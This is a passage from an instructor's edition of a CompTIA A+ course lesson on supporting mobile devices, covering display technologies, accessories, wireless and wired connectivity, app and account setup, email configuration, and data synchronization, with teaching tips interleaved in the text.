Lesson 7: Summarizing Virtualization and Cloud Concepts

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 Lesson 8
Supporting Mobile Devices
1

LESSON INTRODUCTION
This lesson focuses on mobile devices and how they differ from desktop systems Show
in terms of features, upgrade/repair procedures, and troubleshooting. As a Slide(s)
certified CompTIA® A+® technician, you will be expected to configure, maintain, Objectives
and troubleshoot laptops, smartphones, and tablets. With the proper information
and the right skills, you will be ready to support these devices as efficiently as you Teaching
support their desktop counterparts. Tip
The final section of
Lesson Objectives the course focuses
on the device types
remaining after
In this lesson, you will: PCs and network
• Set up mobile devices and peripherals. hardware. This lesson
focuses on portable
• Configure mobile device apps. devices, including
smartphones, tablets,
• Install and configure laptop hardware. and laptops.

• Troubleshoot mobile device issues.

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Topic 8A
Show
Slide(s)
Set Up Mobile Devices and Peripherals
Set Up Mobile Devices 2

and Peripherals

Teaching CORE 1 EXAM OBJECTIVES COVERED

1.2 Compare and contrast the display components of mobile devices.
Tip
1.3 Given a scenario, set up and configure accessories and ports of mobile devices.
While there are
quite a lot of content
examples in this The design of laptops, smartphones, and tablets makes them portable and easy to
topic, most should be use on the move. At the same time, mobile devices can be connected to peripherals
straightforward and
not require too much
and used comfortably for an extended period while sitting at a desk. In this topic,
time to cover. you will examine the portability features, connection types, and accessories used
for mobiles. Being able to compare and contrast these features will make you
Interaction better able to advise and support your users in their selection and use of portable
Opportunity computing devices.
Try to source
examples of mobile
devices and expansion Mobile Display Types
options, such as
port replicators and For a device to be considered mobile, its form factor must closely integrate both
docking stations, to the system components and peripheral devices for video, sound, and input control.
pass around as you Smartphone, tablet, and hybrid tablet/laptop form factors solve this design issue by
discuss accessories using a touch screen as output and input device and as part of the system case to
and connection
hold the CPU, RAM, mass storage, networking, and power components.
methods.

Show Liquid Crystal Displays

Slide(s)
Most mobile devices use a flat-panel screen technology based on a type of liquid
Mobile Display Types crystal display (LCD). A liquid crystal is a compound whose properties change with
Teaching the application of voltage. Each picture element (pixel) in a color LCD comprises
Tip subpixels with filters to generate the primary red, green, and blue (RGB) colors.
Each pixel is addressed by a transistor to vary the intensity of each cell, therefore
Explain that the
description “LED creating the gamut (range of colors shades) that the display can generate.
screen” comes from In the types of flat panel used for computer and mobile device displays, the liquid
the backlight type, and
note the function of
crystal elements and transistors are placed on a thin film transistor (TFT), and
the inverter in older such LCD panels are often just referred to as “TFTs.” There are three main types of
laptop display panels TFT technology:
that used fluorescent
backlights. • Twisted nematic (TN) crystals twist or untwist in response to the voltage level.
This is the earliest type of TFT technology and might still be found in budget
displays. This type of display supports faster response times than other TFT
technologies. Fast response time helps to reduce ghosting and motion trail
artifacts when the input source uses a high frame rate.

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You need to distinguish between refresh rate and response time when evaluating
displays. Refresh rate is the speed at which the whole image is redrawn, measured in Hz.
The refresh rate should be a multiple of the video source frame rate. Response time is
the time taken for a pixel to change color, measured in milliseconds (ms).

• In-plane switching (IPS) uses crystals that rotate rather than twist. The main
benefit is to deliver better color reproduction at a wider range of viewing angles.
Most IPS panels support 178/178 degree horizontal and vertical viewing angles.
The main drawback of early and cheaper IPS screens is slightly worse response
times. A high-quality IPS display will usually be the best TFT option for both
gaming and graphics/design work, however, as it will be capable of similar
response times to TN while retaining better color reproduction and viewing
angles.

• Vertical alignment (VA) uses crystals that tilt rather than twist or rotate.
This technology supports a wide color gamut and the best contrast-ratio
performance. Contrast ratio is the difference in shade between a pixel set to
black and one set to white. For example, where a high-end IPS panel might
support a 1200:1 contrast ratio, a VA panel would be 2000:1 or 3000:1. However,
viewing angles are generally not quite as good as IPS, and response times are
worse than TN, making a VA panel more prone to motion blur and ghosting.

LED Backlit Displays

An LCD must be illuminated to produce a clear image. In a TFT, the illumination is
provided by an array of light-emitting diodes (LED). Most smartphone and tablet
screens use edge lighting where the LEDs are arranged at the top or bottom of the
screen, and a diffuser makes the light evenly bright across the whole of the screen.

Early types of laptop display used a cold cathode fluorescent (CCFL) bulb as a backlight.
The bulb requires AC power, so an inverter component is used to convert from the DC
power supplied by the motherboard to the AC power for the bulb. This type of panel is
no longer in mainstream production, but you might come across older laptop models
that use it.

Organic LED Displays

In an organic LED (OLED) display, or technically an advanced matrix OLED
(AMOLED), each pixel is generated by a separate LED. This means that the panel
does not require a separate backlight. This allows much better contrast ratios and
allows the display to be thinner, lighter, and consume less power. Also, OLEDs can
be made from plastic with no requirement for a layer of glass. This means that the
display can be curved to different shapes. Manufacturers are even experimenting
with flexible, roll-up displays.
OLED has two main drawbacks. One is is that the maximum brightness may be
lower than with LCDs, making the display less clear when used in bright sunlight.
An OLED display is also more susceptible to burn-in, where displaying the same
static image for many hours causes the LEDs to retain the image persistently.

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Mobile Display Components

Show The display panel is only a single layer within the screen assembly for a mobile
Slide(s) device. Several other display components make up the whole screen.
Mobile Display
Components Digitizer Functions
A touch screen can also be referred to as a digitizer because of the way it converts
analog touch input to digital software instructions. The digitizer is sandwiched
between a layer of protective glass and the display panel. Analog signals are
detected by a grid of sensors when you tap or swipe the surface of the screen. The
information from the sensors is sent through the digitizer cable to a circuit that
converts the analog signal to a digital signal.
Modern mobile devices use capacitive digitizers. These capacitive displays support
multitouch, meaning that gestures such as “sweeping” or “pinching” the screen can
be interpreted as events and responded to by software in a particular way. Newer
devices are also starting to provide haptic feedback, or touch responsiveness,
making virtual key presses or gestures feel more real to the user.
The touchscreen itself is covered by a thin layer of scratch-resistant, shock-resistant
tempered glass, such as Corning's Gorilla Glass. Some users may also apply an
additional screen protector. If so, these need to be applied carefully (without
bubbling) so as not to interfere with the touch capabilities of the screen.

Typical smartphone form factor. (Image © 123RF.com)

Rotating and Removable Screens

Most mobile devices can be used either in portrait or landscape orientation.
Components called accelerometers and gyroscopes can detect when the device
changes position and adjust the screen orientation appropriately. As well as
switching screen orientation, this can be used as a control mechanism (for example,
a driving game could allow the tablet itself to function as a steering wheel).

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Some laptops are based on tablet hybrid form factors where the touch screen
display can be fully flipped or rotated between portrait and landscape orientations.
Another approach, used on Microsoft's Surface tablet/laptop hybrids, is for the
keyboard portion of the laptop to be detachable and for the screen to work
independently as a tablet.

Mobile Device Accessories

Some popular accessories and peripheral options for mobile devices include the Show
following: Slide(s)
Mobile Device
Touchpads, Trackpads, and Drawing Pads Accessories
The digitizer touch and gesture support built into touchscreens can be deployed in
a variety of other form factors:
• Touchpad usually refers to the embedded panel on a laptop computer that is
used for pointer control. Most touchpads now support multitouch and gestures.

Use the Settings app in Windows 10 to configure touchpad settings, such as sensitivity,
tap events, and gestures. (Screenshot courtesy of Microsoft.)

• Trackpad can be used to mean the same thing as touchpad, but it is often used
to mean a larger-format device attached as a peripheral.

• Drawing pad also refers to a large-format touch device attached as a peripheral.

These are also called graphics tablets as they are most widely used for sketching
and painting in a digital art application.

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A touch device can require careful configuration to set up gesture support, calibrate
to the screen area, and adjust sensitivity. This might be performed via OS settings
or by installing a driver or app for the device.

Touch Pens
Most drawing pads and some touchscreens can be used with a touch pen or stylus
rather than fingers. A stylus allows for more precise control and can be used for
handwriting and drawing. This functionality is often referred to as natural input.
Touch pens are available in a wide range of sizes, from small styluses designed for
use with smartphones to full-size pens designed for use with tablet touchscreens
and dedicated graphics pads. Touch pens designed for use with drawing pads have
removable and changeable nibs for use as different pen/brush types with digital art
applications.

A digitizer may only be compatible with a specific touch pen model or range. Capacitive
touch pens should work with most touch screen types. Drawing pads often use more
sophisticated active pens with better support for pressure sensitivity, nib angles, palm
rejection (ignoring the user’s palm if it is resting on the pad), and additional input
controls, such as switching between drawing and eraser functions.

Microphone, Speakers, and Camera/Webcam

Mobile devices also feature integrated audio/video input and output devices. A
microphone is used to record audio and for voice calling, while speakers produce
audio output. A digital camera allows for video recording or web conferencing
and can also be used to take still pictures.
On a laptop, the microphone is exposed by a small hole in the top bezel next to the
camera lens and an LED to illuminate the subject.
Smartphones and tablets have both front-facing and rear-facing camera lenses,
both of which can function either as a still camera or as a webcam for video
recording and streaming. The microphone and speakers are usually positioned on
the bottom edge of the device.
An external headset or ear bud set provides both a speaker microphone and
headphone speakers. Wired headsets use either the 3.5 mm audio jack or a
USB/Lightning connector. If no audio jack is supported on the mobile device, an
adapter cable can be used. Wireless headsets are connected via Bluetooth. These
connections can also be used for more powerful external speakers.

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Wi-Fi Networking
Every laptop, smartphone, and tablet supports a Wi-Fi radio. On a smartphone or Show
tablet, the indicator on the status bar at the top of the screen shows the data link in Slide(s)
use as the current Internet connection method. A device will usually default to Wi-Fi Wi-Fi Networking
if present and show a signal strength icon.
Teaching
Enabling and Disabling Wi-Fi Tip
Ask learners why they
Each type of wireless radio link can be toggled on or off individually using the might want or need
Control Center (swipe up from the bottom in iOS) or notification shade (swipe down to turn Wi-Fi or cell
from the top in Android). For example, you could disable the cellular data network network connections
while leaving Wi-Fi enabled to avoid incurring charges for data use over the cellular on and off. Reasons
might include being on
network. You can use the Settings menu to choose which network to connect to or
an airline that doesn’t
to configure a manual connection to a hidden SSID. allow cell phone use,
being in a corporate
environment where
cell phones are not
allowed to connect to
the wireless network,
and forcing the device
to use one network or
the other when both
are available.

Using Android to join a Wi-Fi network (left). The device's network address can be checked
using the Advanced Settings page (right). (Screenshot courtesy of Android platform,
a trademark of Google LLC.)

Airplane Mode
Most airlines prohibit passengers from using radio-based devices while on
board a plane. A device can be put into airplane mode to comply with these
restrictions, though some carriers insist that devices must be switched off
completely at times, such as during take-off and landing. Airplane mode disables
some or all of the wireless features (cellular data, Wi-Fi, GPS, Bluetooth, and NFC),
depending on the device type and model. On some devices, some services can
selectively be re-enabled while still in airplane mode.

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iOS iPhone (left) and Android phone (right) with Airplane (Aeroplane) mode enabled.
(Screenshots reprinted with permission from Apple Inc., and Android platform,
a trademark of Google LLC.)

Wi-Fi Antenna Connector/Placement

Another important point to note about the display screen is that the antenna wires
for the Wi-Fi and cellular radios are run around it. The antenna wires are connected
to the adapter via internal wiring.

Cellular Data Networking

Show Cellular data networking means connecting to the Internet via the device's cellular
Slide(s) radio and the handset's network provider. The data rate depends on the technology
Cellular Data supported by both the phone and the cell tower (3G or 4G, for instance). When a
Networking mobile device uses the cellular provider's network, there are likely to be charges
based on the amount of data downloaded. These charges can be particularly high
Teaching
when the phone is used abroad (referred to as international roaming), so it is often
Tip
useful to be able to disable mobile data access.
Make sure students
can match indicators
to cellular data
generations/
standards and know
roughly what sort of
bandwidth to expect
from each type.

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Global System for Mobile Communications vs. Code-Division

Multiple Access
There are two competing 2G and 3G cellular network types, established in different
markets:
• Global System for Mobile Communication (GSM) allows subscribers to use
a removable subscriber identity module (SIM) card to use an unlocked handset
with their chosen network provider. GSM is adopted internationally and by AT&T
and T-Mobile in the United States.

• Code Division Multiple Access (CDMA) means that the handset is directly
managed by the provider and there is no removable SIM card. CDMA adoption is
largely restricted to the telecom providers Sprint and Verizon. Information that
the cellular radio needs to connect to the network is provided as a preferred
roaming list (PRL) update. A PRL update can be triggered from the device’s
Settings menu or by dialing a special code, such as *228.

• Long Term Evolution (LTE) 4G and 5G standards have removed this distinction.
All 4G and 5G cellular data connections require a SIM card. Devices with SIM
cards do not require the PRL to be updated manually.

Cellular Networking Data Indicators

When the cellular radio is enabled, the icon on the status bar shows which
generation of data connection has been established:
• G/E or 1X—the icons G or E (for GSM) or 1X (for CDMA) represent minimal 2G
service levels, with connection speeds of 50–400 Kb/s only.

• 3G—Universal Mobile Telecommunications Service (UMTS) on a GSM handset or

Evolution-Data Optimized (EV-DO) on CDMA networks, working at up to around
3 Mb/s.

• H/H+—High Speed Packet Access (HSPA) provides improved “3.75G” data rates
on GSM networks. Nominally, HSPA+ can work at up to 42 Mb/s, but real-world
performance is likely to be lower.

• 4G/4G+—LTE-Advanced has a maximum downlink of 300 Mb/s in theory, but

no provider networks can deliver that sort of speed at the time of writing, with
around 20–90 Mb/s typical of real-word performance.

• 5G—Real-world speeds are nowhere near the hoped-for 1 Gb/s rate, ranging
from about 50 Mb/s to 300 Mb/s at the time of writing.

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Enabling and Disabling Cellular Data

The cellular data connection can usually be enabled or disabled via the notification
shade, but there will also be additional configuration options via the Settings menu.
You can usually set usage warnings and caps and prevent selected apps from using
cellular data connections. Some handsets support the use of two SIMs, and you can
choose which one to use for data networking.

Configuring cellular data options in iOS (left) and Android (right).

(Screenshots reprinted with permission from Apple Inc., and
Android platform, a trademark of Google LLC.)

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Mobile Hotspots and Tethering

A smartphone or tablet can be configured as a personal hotspot to share its Show
cellular data connection with other computer devices. To enable a mobile hotspot, Slide(s)
configure the device with the usual settings for an access point (network name, Mobile Hotspots
security type, and passphrase), and then other devices can connect to it as they and Tethering
would with any other Wi-Fi access points.
Teaching
Tip
Tethering isn’t a
specific content
example, but it is
worth mentioning
here.

Configuring mobile hotspot settings (left), then enabling it (right). In this figure, hosts can connect
to the "hippo" network and use the device's cellular data plan to get Internet access.
(Screenshot courtesy of Android platform, a trademark of Google LLC.)

Tethering means connecting another device to a smartphone or tablet via USB or

Bluetooth so that it can share its cellular data connection. Not all carriers allow
tethering, and some only allow it as a chargeable service add-on. Connect the
device to the PC via USB or Bluetooth, then configure tethering settings through
the Settings > Network menu.

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Configuring tethering on an Android phone. The device in this figure is connected to the PC
over USB, but you could use Bluetooth too. (Screenshot courtesy of Android platform,
a trademark of Google LLC.)

Mobile Device Wired Connection Methods

Show Although mobile devices are designed to be self-contained, they still need to
Slide(s) support a variety of connection methods. These cabled and wireless interfaces
Mobile Device Wired allow the user to attach peripheral devices, share data with a PC, or attach a
Connection Methods charging cable.
Teaching Laptop Ports
Tip
Explain that serial Laptops ship with standard wired ports for connectivity. The ports are usually
is a logical interface arranged on the left and right edges. Older laptops might have ports at the back
used by some types of of the chassis. There will be at least one video port for an external display device,
peripheral device. typically HDMI or DisplayPort/Thunderbolt, but possibly VGA or DVI on older
laptops. There will also be a few USB Type A ports and one or more USB Type C
ports on a modern laptop, some of which may also function as Thunderbolt ports.
Other standard ports include microphone and speaker jacks and RJ45 (Ethernet) for
networking. Finally, a laptop might come with a memory card reader.

Smartphone and Tablet Connectors

Modern Android-based smartphones and tablets use the USB-C connector for wired
peripherals and charging. The Micro-B USB and Mini-B connector form factors are
only found on old devices.
Most iPhone and iPad Apple devices use the proprietary Lightning connector.
Some of the latest iPad models, such as the iPad Pro, use USB-C.

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Serial Interfaces
Serial is one of the oldest and simplest computer interfaces. While not many
mobile devices have hardware serial ports, the software serial port is often used
for programming and connectivity with some types of peripheral device. The serial
software interface is called a universal asynchronous receiver transmitter
(UART) port. On Android, UART interface data can be transferred over a USB
hardware port or over Bluetooth. Apple devices do not allow direct connections to
UART over the Lightning connector, except through enrollment in the developer
program.

Another use for a serial interface is to connect a laptop to the serial port of a managed
switch or router. As most laptops no longer have 9-pin RS-232 hardware ports, these
connections use special adapter cables that connect to a USB or RJ45 port on the laptop.

Bluetooth Wireless Connections

A wireless connection for accessories is often a better option for mobile devices Show
than a cable. A Bluetooth wireless radio creates a short-range personal area Slide(s)
network (PAN) to share data with a PC, connect to a printer, use a wireless headset, Bluetooth Wireless
and so on. Connections

Enabling Bluetooth Teaching

Tip
Bluetooth needs to be enabled for use via device settings. You may also want to Make sure students
change the device name—remember that this is displayed publicly. understand the
difference between
enabling Bluetooth
and making a device
discoverable.

Enabling Bluetooth on an Android device. In this figure, the Android device is named
"COMPTIA-MOBILE." "COMPTIA" is a nearby Windows PC with Bluetooth enabled.
(Screenshot courtesy of Android platform, a trademark of Google LLC.)

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Enable Pairing
To connect via Bluetooth, the Bluetooth radio on each device must be put into
discoverable or pairing mode. Opening the settings page makes the device
discoverable. In iOS, Bluetooth devices are configured via Settings > General >
Bluetooth (or Settings > Bluetooth, depending on the iOS version). In Android,
you can access Bluetooth settings via the notification shade. In Windows, you can
manage Bluetooth Devices using the applet in Control Panel or Windows Settings
and the Bluetooth icon in the notification area.
The settings page will show a list of nearby Bluetooth-enabled devices that are
also in discoverable mode. Select a device to proceed. The pairing system should
automatically generate a passkey or PIN code when a connection request is
received. Input or confirm the key on the destination device, and accept the
connection.

Pairing a Windows 10 computer with a smartphone. (Screenshot courtesy of Microsoft.)

Test Bluetooth Connection

To test the connection, you can simply try using the device—check that music plays
through Bluetooth headphones, for example. If you are connecting a device and a
PC, you can use the Bluetooth icon to try to send a file.
If you cannot connect a device, check that both have been made discoverable. If you
make a computer or mobile device discoverable, check the pairing list regularly to
confirm that the devices listed are valid.

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Near-Field Communication Wireless Connections

An increasing range of mobile devices have near-field communication (NFC) chips Show
built in. NFC allows for very short-range data transmission (up to about 20 cm/8 in) Slide(s)
to activate a receiver chip in the contactless reader. The data rates achievable Near-field
are very low, but these transactions do not require exchanging large amounts of Communication
information. Wireless Connections

NFC mobile payment. (Image © 123RF.com)

NFC allows a mobile device to make payments via contactless point-of-sale (PoS)
machines. To configure a payment service, the user enters their credit card
information into a wallet app on the device. The wallet app does not transmit the
original credit card information, but a one-time token that is interpreted by the card
merchant and linked back to the relevant customer account. There are three major
wallet apps: Apple Pay, Google Pay (formerly Android Pay), and Samsung Pay. Some
PoS readers may only support a particular type of wallet app or apps.
On an Android device, NFC can be enabled or disabled via settings. With most
wallets, the device must be unlocked to initiate a transaction over a certain amount.
NFC can also be used to configure other types of connection, such as pairing
Bluetooth devices. For example, if a smartphone and headset both support NFC,
tapping the headset will automatically negotiate a Bluetooth connection.

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Port Replicators and Docking Stations

Show A laptop, tablet, or smartphone does not always provide sufficient connection
Slide(s) methods. Port replicators and docking stations allow the connection of more
peripheral devices so that a mobile can be used at a desk in a similar manner to a PC.
Port Replicators and
Docking Stations
Port Replicator
Teaching
Tip A port replicator either attaches to a special connector on the back or underside of
Note that the
a laptop or is connected via USB. It provides a full complement of ports for devices
distinction between such as keyboards, monitors, mice, and network connections. A replicator does not
these devices is normally add any other functionality to the laptop.
fading. The term
“docking station” or
“dock” tends to refer
to any type of port
replicator these days.
Devices with support
for adapter cards and
media bays are no
longer widespread.
Interaction
Opportunity
Get students to
A port replicator. (Image by Elnur Amikishiyev © 123RF.com)
browse vendor and
review sites to identify
features of devices in
today’s marketplace.
Docking Station
A docking station is a sophisticated port replicator that may support add-in cards
or drives via a media bay. When docked, a portable computer can function like a
desktop machine or use additional features, such as a full-size expansion card.

A laptop docking station. (Image by Luca Lorenzelli © 123RF.com)

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Docking stations with media bays and adapter card support are no longer common.
Often, the term “docking station” is just used to mean port replicator.

Smartphone and Tablet Docks

As modern smartphones develop, manufacturers have been able to include
processing power to rival some desktops and sometimes even replace them
altogether. A smartphone/tablet dock connects the device to a monitor, external
speakers, and keyboard/mouse input devices via the mobile’s USB or Lightning port.

Example of a smartphone dock. (Image © 123RF.com)

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Review Activity:
Mobile Devices and Peripherals
3

Show Answer the following questions:

Slide(s)
Review

Teaching
1. A company is ordering custom-built laptops to supply to its field sales
Tip
staff for use predominantly as presentation devices. The company can
Take some time at specify the type of panel used and has ruled out IPS and OLED on cost
the end of each topic
to answer questions.
grounds. Which of the remaining mainstream display technologies is
You can use the best suited to the requirement?
review questions
for discussion in Vertical alignment (VA) displays support good viewing angles and high-contrast
class or set them for ratios, which makes them well-suited to displaying slides to an audience. The
students to complete twisted nematic (TN) type is cheap but does not support wide-angle viewing.
individually during or
after class. 2. You are writing a knowledge base article for remote sales staff who need
to use their smartphones to facilitate Internet connectivity for their
laptops from out-of-office locations. What distinguishes the hotspot and
tethering means of accomplishing this?

Configuring a hotspot allows the laptop to connect to the smartphone over Wi-Fi.
Tethering means connecting the laptop via USB or Bluetooth.

3. What type of peripheral port would you expect to find on a current

generation smartphone?

For Apple devices, the Lightning port. For Android, it will be USB-C.

4. You are assisting a user with pairing a smartphone to a Bluetooth

headset. What step must the user take to start the process?

On the smartphone, open the Bluetooth page under Settings. This will make the
phone discoverable and enable the user to find nearby devices. If the headset
is not found automatically, check if there is a button on the headset to make it
discoverable.

5. You are identifying suitable smartphone models to issue to field sales

staff. The models must be able to use digital payments. What type of
sensor must the devices have?

Near-field communications (NFC) allow the user to touch the phone to a point-of-
sale terminal to authorize payment in conjunction with a wallet app.

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Topic 8B
Configure Mobile Device Apps Show
Slide(s)
Configure Mobile
6

Device Apps
CORE 1 EXAM OBJECTIVES COVERED
Teaching
1.4 Given a scenario, configure basic mobile-device network connectivity and
application support. Tip
This topic covers
accounts and data
Supporting mobile devices also involves supporting the apps that run on them. synchronization plus
In this context, it is important to realize that the use of mobile devices within features for enrolling a
companies can raise support and security challenges. Some companies allow device on a corporate
network.
employees to use personal devices; others allow personal use of company-supplied
devices. In these scenarios, policies and controls must be used to protect the
confidentiality and integrity of workplace data and the privacy of a user’s personal
data.

Mobile Apps
An app is an installable program that extends the functionality of the mobile device. Show
An app must be written and compiled for a particular mobile operating system. For Slide(s)
example, an app written for Apple iOS cannot directly be installed on Android. The Mobile Apps
developer must make a version for each OS.
Teaching
iOS Apps Tip
Check that students
In iOS, apps are distributed via Apple’s App Store. Apps must be submitted to and are familiar with the
approved by Apple before they are released to users. This is also referred to as features of the store
the walled garden model and is designed to prevent the spread of malware or code distribution models
that could cause faults or crashes. Apps can use a variety of commercial models, used by smartphones
and tablets.
including free to use, free with in-app purchases, or paid-for.
Third-party developers can create apps for iOS using Xcode, which is Apple's
integrated development environment (IDE), and the programming language Swift.
Xcode can only be installed and run on a computer using macOS.

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Apple's App Store and app permission settings. This app is already installed, but an update
is available. (Screenshot reprinted with permission from Apple Inc., and WhatsApp.)

Android Apps
Android's app model is more relaxed, with apps available from both Google Play
and third-party sites, such as Amazon's app store. The Java-based IDE, Android
Studio, is available on Linux, Windows, and macOS.

Use the Play Store to install an app (left), grant the app permissions (middle),
and review permissions and other settings (right). (Screenshots courtesy of
Android platform, a trademark of Google LLC., and WhatsApp.)

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Permissions
On both iOS and Android, apps are suppose to run in a sandbox and have only the
privileges granted by the user. An app will normally prompt when it needs to obtain
permissions. If these are not granted, or if they need to be revoked later, you can
do this via the app's Settings page.

Account Setup
Most mobile devices are designed to be used by a single user. The owner’s user Show
account is configured when the device is used for the first time (or re-initialized). Slide(s)
This account is used to manage the apps installed on the device by representing Account Setup
the user on the app store. iOS requires an Apple ID, while an Android device
requires either a Google Account or a similar vendor account, such as a Samsung Teaching
Account. This type of account just requires you to select a unique ID (email address) Tip
and to configure your credentials (pattern lock, fingerprint, face ID, and so on). Explain the difference
Accounts can also be linked to a cellphone number or alternative email address for between the owner
verification and recovery functions. account (manages
the device and
As well as managing the app store, the owner account can be used to access linked to the store)
various services, such as an email account and cloud storage. However, the device and accounts that
owner might want to use multiple other accounts or digital identities in conjunction represent digital
identities for individual
with different apps. These accounts allow app settings and data to be synchronized
apps. Some apps (such
between multiple devices. For example, a user can access his or her contacts list as email/contact/diary
from both his or her mobile device and his or her laptop computer. Some examples management) can
of these services include: be linked to multiple
subaccounts.
• Microsoft 365—A Microsoft digital identity is used to access cloud subscriptions
for the Office productivity software suite and the OneDrive cloud storage
service. Microsoft identities use the @outlook.com domain by default but can
be registered with a third-party address also.

• Google Workspace—A Google Account (@gmail.com) grants free access to Google’s

Workspace productivity software and the free storage tier on Google Drive.

• iCloud—An Apple ID (@icloud.com) grants free access to Apple’s productivity

software and the free storage tier on iCloud.

The device owner can set up sub-accounts for services not represented by their
Apple ID or Google Account, such as a corporate email account. Each app can set
up a subaccount too. For example, the device might have accounts for apps such as
Facebook or LinkedIn.
Account settings allow you to choose which features of a particular account type are
enabled to synchronize data with the device. You can also add and delete accounts
from here.

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iOS supports a single Apple ID account per device. (Screenshot reprinted

with permission from Apple Inc.)

Types of Data to Synchronize

Show Mobile device synchronization (sync) refers to copying data back and forth
Slide(s) between different devices. This might mean between a PC and smartphone or
Types of Data to between a smartphone, a tablet, and a PC. Many people have multiple devices and
Synchronize need to keep information up to date on all of them. If users edits contact records
on a phone, they want the changes to appear when they next log into email on
their PC.
There are many different types of information that users might synchronize and
many issues you might face dealing with synchronization problems.

Contacts
A contact is a record with fields for name, address, email address(es), phone
numbers, notes, and so on. One issue with contacts is that people tend to create
them on different systems, and there can be issues matching fields or phone
number formats when importing from one system to another using a file format
such as comma separated values (CSV). vCard represents one standard format and
is widely supported now. Maintaining a consistent, single set of contact records is
challenging for most people, whatever the technology solutions available!

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Calendar
A calendar item is a record with fields for appointment or task information, such
as subject, date, location, and participants. Calendar records have the same sort
of sync issues as contacts; people create appointments in different calendars and
then have trouble managing them all. Calendar items can be exchanged between
different services using the iCalendar format.

Mail
Most email systems store messages on the server, and the client device is used to
manage them. There can often be sync issues, however, particularly with deletions,
sent items, and draft compositions.

Pictures, Music, Video, and Documents

The main sync issue with media files such as photos tends to be the amount of
space they take up. There might not be enough space on one device to sync all the
files the user has stored. There can also be issues with file formats; not all devices
can play or show all formats. Users editing a document on different devices may
have trouble with version history, unless the changes are saved directly to the copy
stored in the cloud.

Apps
An app will be available across all devices that the account holder signs in on, as
long as they are the same platform. If you have a Windows PC and an Apple iPhone,
you will find yourself managing two sets of apps. Most of them will share data
seamlessly, however (the social media ones, for instance).

Passwords
Both iOS and Android will prompt you to save passwords when you sign in to apps
and websites. These passwords are cached securely within the device file system
and protected by the authentication and encryption mechanisms required to access
the device via the lock screen.
These cached passwords can be synchronized across your devices using cloud
services. You must remember that anyone compromising your device/cloud
account will be able to access any service that you have cached the password for.

Email Configuration Options

One of the most important features of mobile devices is the ability to receive and Show
compose email. Slide(s)
Email Configuration
Options

Teaching
Tip
An autodiscover-
enabled service can be
configured with just
the email address and
password.

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Commercial Provider Email Configuration

Interaction Most commercial email providers allow the OS to autodiscover connection settings.
Opportunity Autodiscover means that the mail service has published special DNS records that
Ask learners what identify how the account for a particular domain should be configured. To connect
email options they an autodiscover-enabled account, simply choose the mail provider (Exchange,
have set up on Gmail, Yahoo, Outlook.com, iCloud, and so on) then enter your email address and
their own mobile credentials.
devices. Do they
have corporate and
personal accounts
configured on
the same phone?
Encourage discussion
about the pros and
cons of doing this.

Configuring an autodiscover-enabled Exchange mail account in Android.

(Screenshot courtesy of Android platform, a trademark of Google LLC.)

Corporate and ISP Email Configuration

Many institutions use Microsoft’s Exchange mail server for corporate email.
Exchange is usually an integrated provider option and clients can autodiscover
the correct settings. To manually configure an Exchange ActiveSync account, you
need to enter the email address and username (usually the same thing) and a host
address (obtain this from the Exchange administrator) as well as a password and
the choice of whether to use Transport Layer Security (TLS). There is often also a
field for domain, but this is usually left blank.

If there is a single “Domain\Username” field, prefix the email address with a

backslash: \[email protected].

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If you are connecting to an internet service provider (ISP) email host or corporate
mail gateway that does not support autodiscovery of configuration settings,
you can enter the server address manually by selecting Other, then inputting the
appropriate server addresses:
• Incoming mail server—the FQDN or IP address of the Internet Mail Access
Protocol (IMAP) or Post Office Protocol (POP3) server.

Choose IMAP if you are viewing and accessing the mail from multiple devices. POP3
will download the mail to the device, removing it from the server mailbox. Note
that Exchange doesn't use either POP3 or IMAP (though it can support them) but a
proprietary protocol called Messaging Application Programming Interface (MAPI).

• Outgoing mail server—the address of the Simple Mail Transfer Protocol (SMTP)
server.

• Enable or disable Transport Layer Security (TLS).

TLS protects confidential information such as the account password and is necessary if
you connect to mail over a public link (such as an open Wi-Fi “hotspot”). Note that you
can only enable TLS if the mail provider supports it.

• Ports—the secure (TLS enabled) or unsecure ports used for IMAP, POP3, and
SMTP would normally be left to the default. If the email provider uses custom
port settings, you would need to obtain those and enter them in the manual
configuration.

Configuring an email account manually in iOS. (Screenshot used with permission from Apple Inc.)

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Synchronization Methods
Show Before cloud services became prevalent, data on a smartphone or tablet would
Slide(s) typically be manually synchronized with a desktop PC. You might use the PC to back
Synchronization up data stored on the smartphone, for instance, or to sync calendar and contact
Methods records. Nowadays, it is much more likely for devices to be connected via cloud
services. If given permission, the device OS and apps can back up data to the cloud
service all the time. When you sign in to a new device, it syncs the data from the
cloud seamlessly.

Account settings for the Google master account on an Android smartphone. This account is used
for the Play Store and to sync data with other cloud services, but not email, contacts, or calendar.
(Screenshot courtesy of Android platform, a trademark of Google LLC.)

When synchronizing large amounts of data, you should account for different types
of data caps:
• The account will have an overall storage limit. Most accounts are issued with
5 GB of free tier storage. Additional storage needs to be purchased.

• If synchronizing over a cellular data network, there will be a monthly data

allowance and a rate for any transfers exceeding the allowance. To avoid
incurring unwanted charges, you can configure the device to warn and/or cap
cellular data transfers. Most apps can be configured to sync over Wi-Fi only.

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Synchronizing to PCs
If synchronizing via a cloud service is not an option, you can usually view an Android
phone or tablet from Windows over USB or Bluetooth and use drag-and-drop for
file transfer.

Connecting an Android smartphone to a Windows PC over USB. You can choose whether to allow
some sort of data transfer as well as charge the battery. If you enable data transfer, the device's
file system will be made available via File Explorer. (Screenshot courtesy of
Android platform, a trademark of Google LLC.)

An iPad or iPhone can connect to a computer over a Lightning-to-USB adapter

cable. Transferring files to a Windows PC requires the iTunes app to be installed
on the computer.

Synchronizing to Automobiles
Most new automobiles come with in-vehicle entertainment and navigation systems.
The main part of this system is referred to as the head unit. If supported, a
smartphone can be used to “drive” the head unit so the navigation features from
your smartphone will appear on the display (simplified for safe use while driving), or
you could play songs stored on your tablet via the vehicle's entertainment system.
The technologies underpinning this are Apple CarPlay and Android Auto.

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Enterprise Mobility Management

Show Enterprise mobility management (EMM) is a class of management software
Slide(s) designed to apply security policies to the use of mobile devices and apps in the
enterprise. The challenge of identifying and managing all the devices attached to a
Enterprise Mobility
Management network is often referred to as visibility.

Teaching Enterprises use different deployment models to specify how mobile devices and apps
Tip are provisioned to employees. One example is bring your own device (BYOD), where
BYOD is mentioned employees are allowed to use a personally owned device to access corporate accounts,
as a note as it’s in apps, and data.
the acronyms list.
You might want to There are two main functions of an EMM product suite:
mention other mobile
deployment models • Mobile device management (MDM) sets device policies for authentication,
(COPE, CYOD, and feature use (camera and microphone), and connectivity. MDM can also allow
COBO) in discussion. device resets and remote wipes.
Interaction • Mobile application management (MAM) sets policies for apps that can process
